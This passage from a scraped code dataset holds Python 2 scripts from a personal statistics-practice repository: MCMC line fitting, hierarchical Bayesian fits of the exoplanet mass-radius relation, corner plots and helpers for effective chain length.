"license_type": "no_license", "max_line_length": 39, "num_lines": 11, "path": "/Projects/KOI-490/rad2mass.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import sys\nsys.path.append('../PlanetGroup/')\nfrom func import Rpost2M\n\nimport numpy as np\n\nfor i in range(4):\n\tfile = 'radii.0'+str(i+1)+'.dat'\n\tradius = np.loadtxt(file)\n\tmass = Rpost2M(radius)\n\tnp.savetxt('mass.0%i.dat' %(i+1),mass)\n" }, { "alpha_fraction": 0.575575590133667, "alphanum_fraction": 0.6256256103515625, "avg_line_length": 25.060869216918945, "blob_id": "f0f280683ea79df68a2510a70fcd26a54567c2ee", "content_id": "bac700d18872d26a6f28da5d978e19cc3864ea8a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2997, "license_type": "no_license", "max_line_length": 123, "num_lines": 115, "path": "/SmallPiece/mcmc_line.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nThis script does the specific task of fitting a line with randomly generated data using MCMC.\n'''\n\n\n### import package\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport emcee\n\n\n### input parameter\nnp.random.seed(123)\nn_step = 5000\nburn = n_step/2\na_0 = 0.; b_0 = 0.; p_0 = (a_0, b_0)\n\n\n### generate line\ndef model(a,b,x):\n\treturn a*x+b\n\n\na_real = 3.\nb_real = 5.\n\nx_real = np.arange(10)\ny_real = model(a_real, b_real, x_real)\n\nerr_size = 3.\ny_err = err_size * np.random.random(len(x_real))\ny_shift = np.random.normal(loc=0., scale=y_err, size=len(x_real))\ny_data = y_real + y_shift\n\n\n### likelihood\ndef log_likely(p,x_real,y_data,y_err):\n\ta,b=p\n\treturn 0.-sum( (model(a,b,x_real)-y_data)**2./(2.*y_err**2.) )\n\n\n### MCMC from scratch\ndef mcmc(x_real, y_data, y_err, a_0=a_0, b_0=b_0, a_step=0.3, b_step=0.3, n_step=n_step):\n\ta_seq = np.zeros(n_step); b_seq = np.zeros(n_step)\t\n\ta_seq[0] = a_0; b_seq[0] = b_0\n\t\n\tfor i_step in range(1,n_step):\n\t\ta_old = a_seq[i_step-1]; b_old = b_seq[i_step-1]\n\t\ta_new = a_old + a_step * np.random.uniform(-1,1)\n\t\tb_new = b_old + b_step * np.random.uniform(-1,1)\n\t\t\n\t\tdelta_log = log_likely((a_new, b_new), x_real, y_data, y_err) - \\\n\t\t\t\tlog_likely((a_old, b_old), x_real, y_data, y_err)\n\t\t\t\t\n\t\tratio = np.exp(delta_log)\n\t\tif (np.random.uniform(0,1) < ratio):\n\t\t\ta_seq[i_step] = a_new; b_seq[i_step] = b_new\n\t\telse:\n\t\t\ta_seq[i_step] = a_old; b_seq[i_step] = b_old\n\t\t\t\n\treturn a_seq, b_seq\n\t\n\n### run\na_seq, b_seq = mcmc(x_real, y_data, y_err)\na_est, b_est = np.mean(a_seq[burn:]), np.mean(b_seq[burn:])\nprint 'a,b = ', a_est, b_est\n\n### MCMC with emcee package\nndim, nwalker = 2, 10\nwalker_scatter = [1., 1.]\n\np0 = np.array([p_0 + walker_scatter * np.random.normal(size=ndim) for i in xrange(nwalker)])\nsampler = emcee.EnsembleSampler(nwalker, ndim, log_likely, args=[x_real,y_data,y_err])\nsampler.run_mcmc(p0, n_step/nwalker)\n\n\n### plot\nplt.figure(figsize=(20,10))\n# MCMC from scatch\nax00 = plt.subplot2grid((2,4),(0,0))\nax01 = plt.subplot2grid((2,4),(0,1))\nax02 = plt.subplot2grid((2,4),(0,2))\nax03 = plt.subplot2grid((2,4),(0,3))\n\nax00.plot(a_seq,'-')\n\nax01.plot(b_seq,'-')\n\nax02.plot(a_seq,b_seq,'.')\nax02.plot(a_seq[burn:],b_seq[burn:],'r.')\nax02.set_xlim([min(a_seq[burn:]),max(a_seq[burn:])])\nax02.set_ylim([min(b_seq[burn:]),max(b_seq[burn:])])\n\nax03.errorbar(x_real, y_data, yerr=y_err, fmt='x')\nax03.plot(x_real,y_real,'b-')\nax03.plot(x_real,model(a_est,b_est,x_real),'r--')\n\n# MCMC with emcee\nax10 = plt.subplot2grid((2,4),(1,0))\nax11 = plt.subplot2grid((2,4),(1,1))\nax12 = plt.subplot2grid((2,4),(1,2))\nax13 = plt.subplot2grid((2,4),(1,3))\n\nax10.plot(sampler.flatchain[:,0],'-')\n\nax11.plot(sampler.flatchain[:,1],'-')\n\nax12.plot(sampler.chain[:,burn/nwalker:,0],sampler.chain[:,burn/nwalker:,1],'r.')\n\nax13.errorbar(x_real, y_data, yerr=y_err, fmt='x')\nax13.plot(x_real,y_real,'b-')\nax13.plot(x_real,model(np.mean(sampler.chain[:,burn/nwalker:,0]), np.mean(sampler.chain[:,burn/nwalker:,1]), x_real),'r--')\n\nplt.savefig('plot_mcmc_line.png')\n" }, { "alpha_fraction": 0.5981127619743347, "alphanum_fraction": 0.6448100805282593, "avg_line_length": 26, "blob_id": "f4119822c67eccac6730eb8f05489b3157216fd3", "content_id": "c746ad83601166b7ccf3248c1938d5bebf527b98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4133, "license_type": "no_license", "max_line_length": 99, "num_lines": 153, "path": "/Projects/PlanetGroup/obsolete/main_copy1.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfit the Radius-Mass relation in a wide mass range with power law\ncategorize objects\nfind the transition point\nfind the relation in each category\nadd intrinsic scatter in the power law, like 2015-Wolfgang\nfix number of category\n'''\n\n'''\nusing sigma fraction instead of sigma, \nwhich prevents the prior to favor small intrinsic scatter\n'''\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.append('../..')\nfrom NaiveMC.mcmc import hbm_joint_cdf\nfrom scipy.stats import norm, uniform\nfrom func import split_hyper, indicate, piece_power_frac\n\n\n### data\n#file = '/Users/jingjing/Work/Composition_project/Data/Mine/PlanetGroup.txt'\nfile = 'PlanetGroup.txt'\ndat = np.loadtxt(file)\nm_exact = (dat[:,1]==0.)\ndat_fixm = dat[m_exact] # 23 objects\nM0 = dat_fixm[:,0]\ndat_varm = dat[~m_exact] # 265 objects\n\n\n### fix the number of different populations\nn_pop = 4\n### some static parameter \nn_fixm = 23\nn_varm = 265\n\n\n\n### inverse sampling\ndef inverse_hyper(hyper_prob):\n\tprob_C0, prob_power, prob_sigma, prob_trans = \\\n\thyper_prob[0], hyper_prob[1:1+n_pop], hyper_prob[1+n_pop:1+2*n_pop], hyper_prob[1+2*n_pop:3*n_pop]\n\t\n\tC0 = np.exp( uniform.ppf(prob_C0,-3.,6.) )\n\tpower = norm.ppf(prob_power, 0.,5.)\n\tsigma = 10.**( uniform.ppf(prob_sigma, -3., 5.) )\n\t''' note the change of range of sigma '''\n\ttrans = np.sort( 10.**( uniform.ppf(prob_trans, -4., 10.) ) ) # sort\n\n\thyper = np.hstack(( C0, power, sigma, trans ))\n\n\treturn hyper\n\n# R(0,i) for fix mass, and then M(1,i), R(1,i) for variable mass, 0/1 indicates fix/var\ndef inverse_local(local_prob, hyper):\n\t# R(0,i) for fix mass\n\tprob_R0 = local_prob[0:n_fixm]\n\tR0 = piece_power_frac(hyper, M0, prob_R0)\n\n\t# M(1,i) for variable mass\n\tprob_M1 = local_prob[n_fixm:n_fixm+n_varm]\n\tM1 = 10.**( uniform.ppf(prob_M1, -4., 10.) )\n\n\t# R(1,i) for varibable mass\n\tprob_R1 = local_prob[n_fixm+n_varm:]\n\tR1 = piece_power_frac(hyper, M1, prob_R1)\n\n\tlocal = np.hstack((R0, M1, R1))\n\n\treturn local\n\n\n### return sigma corresponding to M/R\ndef split_group(hyper, local):\n\tc, power, sigma, trans = split_hyper(hyper)\n\n\tM1 = local[n_fixm:n_fixm+n_varm]\n\t\n\tsig_like_M0 = np.zeros_like(M0)\n\tfor i in range(n_pop):\n\t\t''' note the change here '''\n\t\tind = indicate(M0, trans, i)\n\t\tmu = c[i] * M0**power[i]\n\t\tsig_like_M0 += mu * sigma[i] * ind\n\n\tsig_like_M1 = np.zeros_like(M1)\n\tfor i in range(n_pop):\n\t\t''' same as above '''\n\t\tind = indicate(M1, trans, i)\n\t\tmu = c[i] * M1**power[i]\n\t\tsig_like_M1 += mu * sigma[i] * ind\n\n\treturn sig_like_M0, sig_like_M1\n\n\n### likelihood\ndef loglike_func(hyper,local, dat_fixm, dat_varm):\n\tsigma_like_R0, sigma_like_R1 = split_group(hyper, local)\n\n\t# fix mass\n\tRob0 = dat_fixm[:,2]\n\tRerr0 = dat_fixm[:,3]\n\tRth0 = local[0:n_fixm]\n\n\tL0 = 0. - 0.5* np.sum( (Rob0-Rth0)**2./(Rerr0**2.+sigma_like_R0**2.) ) \\\n\t\t- 0.5* np.sum( np.log( Rerr0**2.+sigma_like_R0**2. ) )\n\n\t# variable mass\n\tMob1 = dat_varm[:,0]\n\tMerr1 = dat_varm[:,1]\n\tRob1 = dat_varm[:,2]\n\tRerr1 = dat_varm[:,3]\n\tMth1 = local[n_fixm:n_fixm+n_varm]\n\tRth1 = local[n_fixm+n_varm:]\n\n\tL1 = 0. - 0.5* np.sum( (Mob1-Mth1)**2./Merr1**2. ) \\\n\t\t- 0.5* np.sum( (Rob1-Rth1)**2./(Rerr1**2.+sigma_like_R1**2. ) ) \\\n\t\t- 0.5* np.sum( np.log( Rerr1**2.+sigma_like_R1**2. ) )\n\n\tL = L0 + L1\n\treturn L\n\n\n### mcmc\nn_step = int(5e5)\n\nhyper_prob0 = np.array([0.5, 0.52, 0.54, 0.49, 0.58, 0.5, 0.5, 0.5, 0.5, 0.5, 0.65, 0.8])\nhyper_stepsize = 1e-4 * np.ones(3*n_pop)\nlocal_prob0 = 0.5 * np.ones(n_fixm + 2*n_varm)\nlocal_stepsize = 1e-4 * np.ones(n_fixm + 2*n_varm)\n\nimport time\nprint 'start:', time.asctime()\n\nhyper_prob_chain, hyper_chain, local_prob_chain, local_chain, \\\nloglike_chain, repeat_chain, stop_step = \\\nhbm_joint_cdf(hyper_prob0, hyper_stepsize, local_prob0, local_stepsize, n_step,\\\n inverse_hyper, inverse_local, \\\n loglike_func, data = [dat_fixm, dat_varm], \\\n trial_upbound = 10*n_step)\n\nprint 'end', time.asctime()\nprint 'stop', stop_step\n\n### plot\nnp.savetxt('hyper_prob.out',hyper_prob_chain[:stop_step,:])\nnp.savetxt('hyper.out',hyper_chain[:stop_step,:])\nnp.savetxt('loglike.out',loglike_chain[:stop_step])\nnp.savetxt('repeat.out',repeat_chain[:stop_step])\n\n\n" }, { "alpha_fraction": 0.5885416865348816, "alphanum_fraction": 0.6429036259651184, "avg_line_length": 25.947368621826172, "blob_id": "edcbc9e6fb3b85e487cce87e332db1f21979690d", "content_id": "3f2148b0f653e7e752bff95972ca2cc59650adc0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3072, "license_type": "no_license", "max_line_length": 95, "num_lines": 114, "path": "/Projects/test_line.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfitting a simulated line with error in the y axis.\ntest with the right model and overfitting models.\n'''\n\n\n\n### import package\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model_fit import model_poly1, model_poly2, model_poly3\nfrom mcmc import mcmc, auto_burn\n\n\n### input for mcmc\nn_step = 5000\n\n\n### generate line\nseed = 2357\nnp.random.seed(seed)\n\na_real = 3.\nb_real = 5.\n\nx_real = np.arange(10)\ny_real = model_poly1(x_real,(b_real, a_real))\n\nerr_size = 3.\ny_err = err_size * np.random.random(len(x_real))\ny_shift = np.random.normal(loc=0., scale=y_err, size=len(x_real))\ny_data = y_real + y_shift\n\n\n'''\nlog likelihood depends on the assumption of the data\nassuming y_data ~ N(y_real, y_err)\nIn this case log_likelihood is the same thing as chi2\nand we can use chi2 to check if the model is good\n'''\ndef log_likely(para, model_func, x_real, y_data, y_err):\n\ty_model = model_func(x_real,para)\n\treturn 0.-sum( (y_model - y_data)**2./(2.* y_err**2.) )\n\ndef chi2(para, model_func, x_real, y_data, y_err):\n\ty_model = model_func(x_real,para)\n\treturn sum( (y_model - y_data)**2./(2.* y_err**2.) )\n\n\n### test with 1st/2nd/3rd order polynomial\np0 = np.zeros(2)\np_step = np.ones(2) * 0.3\n\npoly1_seq, chi1_seq = mcmc(p0, p_step, n_step, log_likely, \\\n\t\t\t[model_poly1,x_real,y_data,y_err], seed, chi2)\n\n\np0 = np.zeros(3)\np_step = np.ones(3) * 0.3\n\npoly2_seq, chi2_seq = mcmc(p0, p_step, n_step, log_likely, \\\n\t\t\t[model_poly2,x_real,y_data,y_err], seed, chi2)\n\n\np0 = np.zeros(4)\np_step = np.ones(4) * 0.3\n\npoly3_seq, chi3_seq = mcmc(p0, p_step, n_step, log_likely, \\\n\t\t\t[model_poly3,x_real,y_data,y_err], seed, chi2)\n\n\n### result\nburn_step = auto_burn(poly1_seq)\nprint burn_step\n\npoly1_best = poly1_seq[:,np.argmin(chi1_seq)]\npoly2_best = poly2_seq[:,np.argmin(chi2_seq)]\npoly3_best = poly3_seq[:,np.argmin(chi3_seq)]\n \n\n'''print np.min(chi1_seq)/(len(x_real)-2), poly1_best\nprint np.min(chi2_seq)/(len(x_real)-3), poly2_best\nprint np.min(chi3_seq)/(len(x_real)-4), poly3_best\n'''\n\n\n### plot\nplt.figure(figsize=(21,7))\nax1,ax2,ax3 = plt.subplot2grid((1,3),(0,0)),\\\n\t\t\tplt.subplot2grid((1,3),(0,1)),\\\n\t\t\tplt.subplot2grid((1,3),(0,2))\n\nax1.errorbar(x_real,y_data,yerr=y_err,fmt='x')\nax1.plot(x_real,y_real,'b-')\nfit, = ax1.plot(x_real,model_poly1(x_real,poly1_best),'r--')\nax1.legend([fit,fit],['reduced chi2: %.2f' % (np.min(chi1_seq)/(len(x_real)-2)), \\\n'%.2f+%.2fx' % (poly1_best[0], poly1_best[1])], \\\nloc=2)\n\nax2.errorbar(x_real,y_data,yerr=y_err,fmt='x')\nax2.plot(x_real,y_real,'b-')\nfit, = ax2.plot(x_real,model_poly2(x_real,poly2_best),'r--')\nax2.legend([fit,fit],['reduced chi2: %.2f' % (np.min(chi2_seq)/(len(x_real)-2)), \\\n'%.2f+%.2fx+%.2fx^2' % (poly2_best[0], poly2_best[1], poly2_best[2])],\\\nloc=2)\n\nax3.errorbar(x_real,y_data,yerr=y_err,fmt='x')\nax3.plot(x_real,y_real,'b-')\nfit, = ax3.plot(x_real,model_poly3(x_real,poly3_best),'r--')\nax3.legend([fit,fit],['reduced chi2: %.2f' % (np.min(chi3_seq)/(len(x_real)-2)), \\\n'%.2f+%.2fx+%.2fx^2+%.2fx^3' % (poly3_best[0], poly3_best[1], poly3_best[2], poly3_best[3])], \\\nloc=2)\n\nplt.savefig('fit_poly123.png')\n" }, { "alpha_fraction": 0.6346938610076904, "alphanum_fraction": 0.699999988079071, "avg_line_length": 31.733333587646484, "blob_id": "9b227983d7ff99c2d40b49db910fb402fc03c38e", "content_id": "089732d6f090e4a6ad8d38cc06491cc08005c4fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 490, "license_type": "no_license", "max_line_length": 94, "num_lines": 15, "path": "/Projects/PlanetGroup/corner_trans_old.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\n#import matplotlib.pyplot as plt\nimport corner\n\ndatafile = '/Users/jingjing/Work/DK_project/Output/OutFile/PlanetGroup/straight/str_hyper.out'\n\ndata = np.loadtxt(datafile)[:,-3:]\nn_data = int(5e5)\ndata_burnout = data[n_data/2:,:]\ndata_thin = data_burnout[0::25,:]\n\nfigure = corner.corner(data_thin, labels=[r'transition 1',r'transition 2',r'transition 3'],\\\n\t\t\t\t\t\ttruths=[0.0,0.0,0.0], quantiles=[0.025,0.16,0.5,0.84,0.975]\n\t\t\t\t\t)\nfigure.savefig(\"lin_plot/tri_trans.png\")" }, { "alpha_fraction": 0.6181818246841431, "alphanum_fraction": 0.6620320677757263, "avg_line_length": 24.216217041015625, "blob_id": "fd8baa6550a99db7a654b7f00de8963eb64cce48", "content_id": "08b0d1c3f8deed33053895a6f734b6da81a12094", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 935, "license_type": "no_license", "max_line_length": 80, "num_lines": 37, "path": "/Projects/PlanetGroup/corner_trans.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "import numpy as np\nimport corner\n\nfrom matplotlib.backends.backend_pdf import PdfPages\npp = PdfPages('corner_trans.pdf')\n\ndir = '/Users/jingjing/Work/DK_project/Stat_Practice/Projects/PlanetGroup/'\nall_trans = np.loadtxt(dir+'h4_thin_hyper.out')[:,-3:]\n\n### thin\ndef thin(all, factor=1):\n\tthinned = all[::factor,:]\n\treturn thinned\n\ntrans_me = 10.**( thin(all_trans,1) )\n\n### convert to proper unit\nmearth2mjup = 317.828\nmearth2msun = 333060.4\n\ntrans_plot = np.vstack(( np.vstack((trans_me[:,0], trans_me[:,1]/mearth2mjup)), \n\t\t\t\t\t\ttrans_me[:,2]/mearth2msun )).transpose()\n\n\n### corner plot\nfigure = corner.corner(trans_plot, alpha=0.1,\nlabels = [r'$\\rm volatile\\ accretion\\ [M_\\oplus]$',\n\t\tr'$\\rm grav.\\ compression\\ [M_J]$',\n\t\tr'$\\rm hydrogen\\ burning\\ [M_\\odot]$'],\n#truths = [0., 0., 0.],\n#quantiles = [0.16, 0.5, 0.84],\n#show_titles=True, title_args={'fontsize':12}\n)\n#figure.savefig('corner_trans.png')\n\npp.savefig()\npp.close()\n\n\n" }, { "alpha_fraction": 0.6712598204612732, "alphanum_fraction": 0.6968504190444946, "avg_line_length": 24.350000381469727, "blob_id": "ac84c9bde1eb70db119d2c708b020a579e11991f", "content_id": "a855873e5a3c1e90a69bf90a0a593bcf03208d13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1016, "license_type": "no_license", "max_line_length": 116, "num_lines": 40, "path": "/NaiveMC/efflengh.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\ntranslate from DK's fortran script to calculate effective lenght of mcmc chain\n'''\n\nimport numpy as np\n# http://stackoverflow.com/questions/643699/how-can-i-use-numpy-correlate-to-do-autocorrelation\n# calculate the statistical correlation for a lag of t:\ndef autocorr(x, t=1):\n\treturn np.corrcoef(np.array([x[:-t], x[t:]]))[0,1]\n\n\ndef dk_acf(chain, nburn, limit=0.9e3):\n\tnlength, npara = np.shape(chain)\n\tmax_lag = int( (nlength-nburn)/limit )\n\n\tcorrlen = max_lag * np.ones(npara)\n\n\t# go throught each parameter\n\tfor ipara in range(npara):\n\t\tfor lag in range(1, max_lag):\n\t\t\tacf = autocorr(chain[nburn:,ipara],lag)\n\t\t\tif abs(acf) < 0.5:\n\t\t\t\tcorrlen[ipara] = lag\n\t\t\t\tbreak\n\t\n\teff = (nlength-nburn)/corrlen\n\n\treturn eff\n\n\n'''http://support.sas.com/documentation/cdl/en/statug/63033/HTML/default/viewer.htm#statug_introbayes_sect008.htm'''\n'''effective sample size '''\n'''\ndef ess(chain, nburn, limit=0.01):\n\tnlength, npara = np.shape(chain)\n\t\n\n\treturn eff\n'''\n# dk_acf is definitely giving a longer eff than ess\n\t\n" }, { "alpha_fraction": 0.5964061617851257, "alphanum_fraction": 0.647461473941803, "avg_line_length": 25.56818199157715, "blob_id": "5aebd4eaf71f19a197557e1f9af1681a17e7843a", "content_id": "a8002650bae8589023612aca71df82d85f1c2417", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3506, "license_type": "no_license", "max_line_length": 116, "num_lines": 132, "path": "/Projects/test_multiline_hbm.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nfirst HBM based on test_line\nfit multiple lines this time\n'''\n\n\n\n### import package\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom model_fit import model_poly1 as model\nfrom mcmc import hbm\n\n\n### input for mcmc\nn_step = 5000\n\n\n### generate line\nseed = 2357\nnp.random.seed(seed)\n\nhyper_c1 = 3.\nhyper_c0 = 5.\nn_group = 10\nn_point = 20\nhyper_sigc1 = 1e0\nhyper_sigc0 = 1e0\n\nlocal_c1 = np.random.normal( loc=hyper_c1, scale = hyper_sigc1, size=n_group )\nlocal_c0 = np.random.normal( loc=hyper_c0, scale = hyper_sigc0, size=n_group )\n\nx_real = np.zeros((n_point,n_group))\ny_data = np.zeros((n_point,n_group))\ny_err = np.zeros((n_point,n_group))\nerr_size = 2.\n\nfor i in range(n_group):\n\tx_real[:,i] = np.sort(np.random.uniform(-5,5,n_point))\n\ty_real = model(x_real[:,i],(local_c0[i], local_c1[i]))\n\ty_err[:,i] = err_size * np.random.random(n_point)\n\ty_data[:,i] = y_real + np.random.normal(loc=0., scale=y_err[:,i], size=n_point)\n\nprint 'hyper: c1 * x + c0', hyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0\n#print 'local (c0,c1):', local_c0, local_c1\n\n\n'''\nlog likelihood depends on the assumption of the data\nassuming y_data ~ N(y_real, y_err)\n'''\ndef single_log_likely(para, model_func, i_group, x_real, y_data, y_err):\n\ty_model = model_func(x_real[:,i_group],para)\n\treturn 0.-np.sum( (y_model - y_data[:,i_group])**2./(2.* y_err[:,i_group]**2.) )\n\n\n\n''' draw local from hyper '''\ndef draw_local_func(hyper):\n\thyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0 = hyper\n\tlocal = np.random.normal(hyper_c0, hyper_sigc0), \\\n\t\t\tnp.random.normal(hyper_c1, hyper_sigc1)\n\treturn local\n\n\n\n### mcmc\nimport time\nprint 'start:', time.asctime()\n\n\nn_hyper = 4 # hyper_c1, hyper_c0, hyper_sigc1, hyper_sigc0\nhyper0 = 2.*np.array([hyper_c1,hyper_c0,hyper_sigc1,hyper_sigc0]) \nhyper_step = np.array([5e-1,5e-1,1e-1,1e-1]) # randomly selected step size\n\n\nhyper_seq, loglike_seq, repeat_seq, i_step = \\\nhbm(hyper0, hyper_step, n_step, draw_local_func, n_group, single_log_likely, model, \\\ndata=[x_real,y_data,y_err], seed=2357, domain=[[2,0,np.inf],[3,0,np.inf]], \\\ndraw_times=100, single_jump = False, trial_upbound = 1e5 )\n\n\nprint 'end:', time.asctime()\n\n### plot\nrow = 2\ncol = 4\n\nf,((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\n#for j in range(col):\n\t#ax[0][j].plot(np.repeat(hyper_seq[j,:],repeat),'b-')\n\nfor i_group in range(n_group):\n\tax[0][0].errorbar(x_real[:,i_group],y_data[:,i_group],yerr = y_err[:,i_group],fmt='.')\n\tax[0][0].plot(x_real[:,i_group],model(x_real[:,i_group],(local_c0[i_group], local_c1[i_group])),'b-')\nax[0][0].legend(['c0 %.1f' %hyper_c0, 'c1 %.1f' %hyper_c1, 'sig_c0 %.1f' %hyper_sigc0, 'sig_c1 %.1f' %hyper_sigc1],\\\nloc=0)\n\nax[0][1].plot(repeat_seq[:i_step],'b-')\nax[0][1].set_xlabel('repeat times')\n\ndelta_log = loglike_seq[1:] - loglike_seq[:-1]\nratio = np.exp(delta_log)\nratio[np.where(ratio>1)[0]] = 1\nax[0][2].plot(ratio[:i_step-1], 'b-')\nax[0][2].set_xlabel('ratio')\n\nax[0][3].plot(loglike_seq[:i_step],'b-')\nax[0][3].set_xlabel('loglike')\n\n\nfor j in range(col):\n\tax[1][j].plot(hyper_seq[j,:i_step],'b-')\n\n\nax[1][0].set_xlabel('hyper_c1')\nax[1][1].set_xlabel('hyper_c0')\nax[1][2].set_xlabel('hyper_sigc1')\nax[1][3].set_xlabel('hyper_sigc0')\n\n\nplt.savefig('Figure/plt_test_multiline_hbm'+str(int(time.time()))+'.png')\n\n'''\n### print to file\nprint 'i_step', i_step\nnp.savetxt('hyper.out', np.transpose(hyper_seq), delimiter=',')\nnp.savetxt('loglike.out', loglike_seq)\nnp.savetxt('repeat.out', repeat_seq)\n'''" }, { "alpha_fraction": 0.6116336584091187, "alphanum_fraction": 0.6519802212715149, "avg_line_length": 26.100671768188477, "blob_id": "0977d653c69fbf0523c325acbc761b8d7b56ab3a", "content_id": "0b6aca25b07e198c91b6c6c465a03d7ce27fb5d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4040, "license_type": "no_license", "max_line_length": 129, "num_lines": 149, "path": "/Projects/test_marcy.py", "repo_name": "chenjj2/Stat_Practice", "src_encoding": "UTF-8", "text": "'''\nuse 5 (mass, radius) from Marcy 2014 to test the composition project\nalpha/beta are the fraction of iron/silicate\n\n(unif) & (log10 sigma ~ unif[-3,0])\n=> alpha,beta,sigma\n=> alpha_i, beta_i\n+ radius_i (<= unif)\n-> mass_i\n=> radius_obs_i, mass_obs_i\n'''\n\n\n### import \nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mcmc import hbm_joint_cdf, hbm_joint\nfrom scipy.stats import norm, uniform\n\n\n### data\ndata = np.loadtxt('/Users/jingjing/Work/Data/2014-Marcy/2014-Marcy-TestSample.txt', skiprows=2, usecols=(1,2,5,6), delimiter=',')\n\nmass_obs = data[:,0]\nmass_err = data[:,1]\nrad_obs = data[:,2]\nrad_err = data[:,3]\n\nn_group = len(mass_obs)\n\n\n### radius as a function of mass, alpha, beta\n# using nearest neighbor to interpolate \nradius_table = np.loadtxt('/Users/jingjing/Work/Model/Composition_LZeng/Radius.out', delimiter=';', unpack=True)\n\ndef rad_function(mass,alpha,beta):\n\tindex = np.round([ mass*4., alpha*100., beta*100. ]).astype(int)\n\tmass_ind, iron_ind, sili_ind = index[0]-2, index[1], index[2]\n\trow_ind = mass_ind * 100 + iron_ind\n\tcol_ind = sili_ind\n\trad = radius_table[row_ind, col_ind]\n\t\n\treturn rad\n\n\n### loglikelihood\ndef data_given_local( local, mass_obs, mass_err, rad_obs, rad_err ):\n\tn_group = len(local)/3\n\n\ta_local = local[:n_group]\n\tb_local = local[n_group:2*n_group]\n\tmass_th = local[2*n_group:]\n\trad_th = np.zeros(n_group)\n\tfor i_group in range(n_group):\n\t\trad_th[i_group] = rad_function(mass_th[i_group], a_local[i_group], b_local[i_group])\n\n\tloglikelihood = 0. - np.sum( (mass_th-mass_obs)**2./mass_err**2. ) \\\n\t\t\t\t\t- np.sum( (rad_th-rad_obs)**2./rad_err**2. )\n\treturn loglikelihood\n\n\ndef local_given_hyper(hyper, local):\n\talpha, beta, sigma = hyper\n\t\n\tn_group = len(local)/3\n\ta_local, b_local = local[:n_group], local[n_group:2*n_group]\n\n\tloglikelihood = 0. - 2.* n_group * np.log(sigma) \\\n\t\t\t\t\t- np.sum( (a_local-alpha)**2./sigma**2. ) \\\n\t\t\t\t\t- np.sum( (b_local-beta)**2./sigma**2. )\n\treturn loglikelihood\n\n\ndef hyper_prior(hyper):\n\talpha, beta, sigma = hyper\n\tloglikelihood = 0. - np.log(sigma)\n\n\treturn loglikelihood\n\n\n### domain check\ndef hyper_domain(hyper_tmp, hyper_old):\n\thyper_new = hyper_tmp +0.\n\n\talpha, beta, sigma = hyper_tmp\n\tif (alpha < 0.) or (beta < 0.) or (alpha+beta > 1.):\n\t\thyper_new[0:2] = hyper_old[0:2] + 0.\n\tif (sigma > 1.) or (sigma < 0.001):\n\t\thyper_new[2] = hyper_old[2] + 0.\n\n\treturn hyper_new\n\ndef local_domain(local_tmp, local_old):\n\tlocal_new = local_tmp + 0.\n\t\n\tn_group = len(local_tmp)/3\n\ta_local, b_local = local_tmp[:n_group], local_tmp[n_group:2*n_group]\n\tfor i_group in range(n_group):\n\t\tif (a_local[i_group]<0.) or (b_local[i_group]<0.) \\\n\t\tor (a_local[i_group]+b_local[i_group] > 1.):\n\t\t\tlocal_new[i_group] = local_old[i_group] + 0. \n\t\t\tlocal_new[n_group+i_group] = local_old[n_group+i_group] +0.\n\n\treturn local_new\n\n\n### mcmc\nimport time\nprint 'start', time.asctime()\n\nn_step = int(1e5)\n\nhyper0 = np.array([0.3, 0.3, 0.1])\nhyper_stepsize = 1e-2 * np.ones(3)\nlocal0 = np.hstack(( 0.3*np.ones(n_group), 0.3*np.ones(n_group), 3. *np.ones(n_group) ))\nlocal_stepsize = np.hstack(( 1e-2 * np.ones(2*n_group), 0.3 * np.ones(n_group) ))\n\n\nhyper_chain, local_chain, loglikelihood_chain, repeat_chain, stop_step = \\\nhbm_joint(hyper0, hyper_stepsize, local0, local_stepsize, n_step, \\\nhyper_prior, local_given_hyper, data_given_local, data=[mass_obs, mass_err, rad_obs, rad_err], \\\nhyper_domain=hyper_domain, local_domain=local_domain, \\\ntrial_upbound = n_step*10)\n\nprint 'end', time.asctime()\n\t\t\t\n\n### plot\nrow = 2\ncol = 4\n\nf, ((a00,a01,a02,a03),(a10,a11,a12,a13))=plt.subplots(row,col,figsize=(col*5,row*5))\nax = ((a00,a01,a02,a03),(a10,a11,a12,a13))\n\nax[0][3].plot(loglikelihood_chain[:stop_step])\nax[0][3].set_xlabel('loglikelihood')\n\nfor i in range(3):\n\tax[1][i].plot(hyper_chain[:stop_step,i])\nax[1][0].set_xlabel(r'$\\alpha$')\nax[1][1].set_xlabel(r'$\\beta$')\nax[1][2].set_xlabel(r'$\\sigma$')\n\n\nax[1][3].plot(repeat_chain[:stop_step])\nax[1][3].set_xlabel('repeat times')\nax[1][3].set_yscale('log')\n\nplt.savefig('Figure/test_marcy'+str(int(time.time()))+'.png')\n\n\n" }, { "alpha_fraction": 0.5995309948921204, "alphanum_fraction": 0.6503387093544006, "avg_line_length": 25.65277862548828, 